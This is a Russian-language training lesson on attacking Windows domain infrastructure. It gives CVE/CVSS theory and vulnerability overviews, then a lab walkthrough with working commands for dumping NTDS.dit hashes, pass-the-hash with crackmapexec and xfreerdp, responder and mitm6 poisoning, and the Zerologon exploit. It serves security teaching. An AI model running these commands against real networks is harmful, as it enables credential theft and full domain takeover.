---
# System prepended metadata

title: Занятие по Windows №6. Базовые атаки и компроментация доменной Windows-инфраструктуры

---

# Занятие по Windows №6. Базовые атаки и компроментация доменной Windows-инфраструктуры

# Теория
**Основные виды атак на инфраструктуру:**
- Почтовый фишинг
![](https://i.imgur.com/oLwJ5of.png)

- Вирусная программа на СНИ
![](https://i.imgur.com/Z08ajGm.png)

- Проникновение на объект
![](https://i.imgur.com/weOw885.png)

- Уязвимости систем 
![](https://i.imgur.com/zeVP1XV.png)

## Что такое CVE?
Это база данных общеизвестных уязвимостей информационной безопасности

У каждой уязвимости есть:
- **Номер**(CVE-2019-0708)
- **Шкала критичности** (9.8 Critical)
- **Вектор** (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- **Конкретный недостаток реализации**(CWE-416)
- **Применимость**(CPE)
- **Наличие исправлений или способы смягчения**

*Шкала критичности*:
* **Низкий уровень(0-5)**
* **Средний уровень(6-7)**
* **Высокий уровень(7-8)**
* **Критический уровень(9-10)**

*Метрики(CVSS):*
Есть три вида метрик:
* **Базовые метрики** - общие метрики для уязвимости без учета времени и контекста применимости
* **Временные метрики** - учитывают реакцию производителя уязвимого продукта, которые изменяются с момента обнаружения уязвимости до момента ее исправления 
* **Контекстные метрики** - оперируют требованиями безопасности к системе, в которой работает уязвимый продукт

**Калькулятор CVSS и метрики:**
![](https://i.imgur.com/BhibVEf.png)

**Вектор атаки(AV):**
![](https://i.imgur.com/mxyUuHt.png)

**Сложность атаки(AC)**
![](https://i.imgur.com/kb1k2Ct.png)


**Уровень привелегий(PR)**
![](https://i.imgur.com/wUubaS9.png)

**Взаимодействие с пользователем(UI)**
![](https://i.imgur.com/OVDmP8t.png)

**Влияние на другие компоненты системы(S)**
![](https://i.imgur.com/b3Gbvq6.png)

**Влияние на конфиденциальность(C)**
![](https://i.imgur.com/EPEpLBP.png)

**Влияние на целостность(I)**
![](https://i.imgur.com/OtfDO5d.png)

**Влияние на доступность(A)**
![](https://i.imgur.com/FkMl2ld.png)

**Временные метрики **
![](https://i.imgur.com/7AVKOKK.png)

**Контекстные метрики**

![](https://i.imgur.com/hBrlGrJ.png)

## Актуальные уязвимости для инфраструктуры Windows

### Zerologon (CVE-2020-1472)
Она позволяет неаутентифицированному злоумышленнику получить права администратора домена. Уязвимость представляет из себя ошибку реализации протокола шифрования AES-CFB8

### SMBGhost (CVE-2020-0796)
Представляет собой переполнение буфера на серверах Microsoft SMBv3. Она позволяет неавторизированному атакующему удаленно выполнить код на целевом сервере или клиенте. Открывает системы для атак по типу червя.

### Proxylogon (CVE-2021-26855,26858,27065,26857)
Тип уязвимости - SSRF. Позволяет без аутентификации удаленно исполнять произвольные команды, получать права администратора и устанавливать вредоносное ПО. Она позволяет обьойти аутентификацию в MS Exchange и выдать себя за любого пользователя.

### PrintNightmare(CVE-2021-1675 и CVE-2021-34527)
Уязвимость в диспетчере очереди печати. Отличия между номерами в том, что первая эксплуатируется только локально, а вторая удаленно. Тип уязвимости - RCE. Ошибка в коде приводит к недостаточной валидации ввода в ходе добавления нового принтера, в результате появляется возможность загрузить в систему вредоносный DLL-файл.

## Классические уязвимости Windows
К ним относятся:
* Path-the-hash
* LLMNR
* NBNS
* WPAD
* mitm6

### Path-the-hash
Позволяет атакующему авторизироваться на удаленном сервере, на котором аутентификация происходит с помощью NTLM или LM. Для аутентификации используется не пароль, а хэш пароля. И так как он передается без соли, хэши остаются неизменными от сессии к сессии(пока не изменится пароль).

### LLMNR
Этот протокол используется для инициализации в локальной сети без dhcp сервера.
Проблема этого протокола в том, что запрос разрешения имен посылается с помощью мультикаста. То клиент неяво доверяет всем, кто на него ответит.

### NetBIOS
Этот протокол нужен для обнаружения комьютеров в сети, построенной на базе TCP/IP. Приложения могут найти через NetBIOS нужные им ресурсы, установить связь и послать или получить информацию. Использует для службы имен (NetBIOS-NS) порт 137, для службы дейтаграмм (NetBIOS-DGM) порт 138, а для службы (NetBIOS-SSN) порт 139.

**Эксплуатаци LLMNR и NetBIOS:**
![](https://i.imgur.com/Iw4ejSP.png)

### WPAD
**Web Proxy Auto-Discovery Protocol** - протокол автоматической настройки прокси, который используется браузером(клиентом) для определения расположения конфигурационного файла с использованием технологий DHCP и/или DNS. По умолчанию включен в IE(Internet Explorer) Windows. Если в DNS нет записи о WPAD-сервере, злоумышленник может ее подделать. То есть злоумышленник сможет перенаправлять запрос браузера через свой прокси-сервер.

## Эксплуатация контроллера домена
### Zerologon
![](https://i.imgur.com/TqWNVlA.png)
Схема работы:
![](https://i.imgur.com/ZmFbv4J.png)

Разберем подробнее:

![](https://i.imgur.com/7n6CqHL.png)
![](https://i.imgur.com/1oAaQqo.png)
![](https://i.imgur.com/AbLkZBo.png)
![](https://i.imgur.com/msjFu21.png)
![](https://i.imgur.com/gTl9iYn.png)

## Поиск следов компроментации

### Поиск информации в логах
Каждая эксплуатация тех или иных уязвимостей приводит к генерации журналируемых событий. Поэтому факт эксплуатации системы можно обнаружить правильно выполнив поиск по id событий. Исследователи часто публикуют характерные следы эксплойтов в виде набора событий, идущих друг за другом, а SIEM система коррелирует такие события, выдавая оповещение в виде инцидента для специалиста центар мониторинга.

### Обнаружение атак в сетевом трафике

# Практика
Запускам CMD, далее программу **ntdsutil** для работы с ntds и ifm(install from media). После этого создадим бэкап командой create full C:\temp

![](https://i.imgur.com/DDelWgs.png)

В папке C:\temp должно появиться две папки и два файла в каждой.

Переходим на kali-linux и запускаем программу `smbclient '\\192.168.10.200\C$' -U pt/administrator` и вводим пароль администратора.
Далее вводим сервисные команды такие как:
`recurse ON
prompt OFF`
Укажем, куда будем загружать файлы на Кали
`lcd /home/kali`
И скачиваем папку
`mget tmp`
Выходим из smb
`exit`

Далее скачиваем impacket - это набор пентестерских утилит для тестирования небольшой AD.
`git clone https://github.com/SecureAuthCorp/impacket`
И устанавливает python:
`apt install python3-pip`

:::info
Если не может найти этот пакет, сначала вводим команду `sudo apt update`.
:::

В скачанной папке impacket в папке examples запускаем скрипт secretsdump.py:
`python secretsdump.py -ntds /home/kali/temp/Active\ Directory/ntds.dit -system /home/kali/temp/registry/SYSTEM LOCAL`

Таким образом мы получили хэши учетных записей.

Допустим, что мы ничего не знаем о домене. В таком случае воспользуемся командой `crackmapexec smb 192.168.10.0/24`. Мы увидим вот такую картину:
![](https://i.imgur.com/Ge0TPRT.png)

Попробуем теперь проэксплуатировать систему:

`` crackmapexec smb 192.168.10.200 -u *имя пользователя* -H *хэш пользователя* -x *какую команду мы хотим выполнить* ``
![](https://i.imgur.com/AkKoeXC.png)

А что если мы хотим подключиться к рабочему столу?
На этот счет у Kali linux есть встроенная программа xfreerdp. Ее синтаксис:
`xfreerdp /d:*имя домена* /u:*имя пользователя* /v:*ip-адрес* /pth:*NTLM хэш пользователя*`

При попытке подключиться у нас показывается вот такая ошибка:
![](https://i.imgur.com/82X8Tbv.png)

В Windows с помощью PowerShell-скрипта меняем параметры реестра:
![](https://i.imgur.com/pUqDN1C.png)

Пробуем еще раз подключиться с Кали-линукс и мы получаем удаленный доступ.

Далее вводим команду `responder -i eth0 -A`
Этой командой мы слушаем данные в домене. Если пользователь ошибется при вводе пользователя в домене, то нам все покажется и, если бы была включена атака, на этот запрос ответил бы наш сниффер. Давайте включим атаку чтобы посмотреть, как это происходит:
`responder -i eth0 -wFv`
Если пользователь ошибется при вводе имени ресурса, то наша программа покажет вот такой результат:

![](https://i.imgur.com/DedpDiR.png)

То есть мы получили NTLM хэш, который в дальнейшем можем брутфорсить.

Далее рассмотрим атаку на протокол IPv6. Для этого на Кали установим mitm6
`pip install mitm6`
Далее вводим команду
`mitm6 -d pt.local`
После этого открываем новый терминал и вводим там такую команду:
`python3 smbserver.py -smb2support SMB /root/SMB`

После этого мы увидим вот такой вывод программы:
![](https://i.imgur.com/nRmFerv.png)

На Windows мы увидим вот такую ситуацию вместо оригинальной:
![](https://i.imgur.com/DBVaYbO.png)

В данной атаке наш Kali Linux стал сервером для компьютеров в доменной сети.
Данная атака достаточно серьезная, и на восстановление сети будет требоваться достаточно много времени. Данную атаку лучше не пробовать даже для тестов, так как она положит всю сеть.

В логах включаем Audit Computer Account Properties.

![](https://i.imgur.com/gxqbcJn.png)

В PowerShell вводим команду gpupadate для обновления групповой политики.

Далее в самой Virtual Box делаем Snapshot системы, чтобы если что ее откатить.

Далее в Kali Linux скачиваем Exploit для Zerologon:
`git clone https://github.com/risksense/zerologon`
Далее заходим в папку zerologon
Для эксплуатации вводим в терминал команду:
python3 set_empty_pw.py DC1 192.168.10.200

После этого используем скрипт secretsdump для подбора пароля. Синтаксис вот такой:
`python3 secretsdump.py -hashes *полученный хэш* '*учетная запись*@*ip-адрес*'`
В нашем случае эта команда выглядеть вот так:
![](https://i.imgur.com/wZ7Ri3S.png)


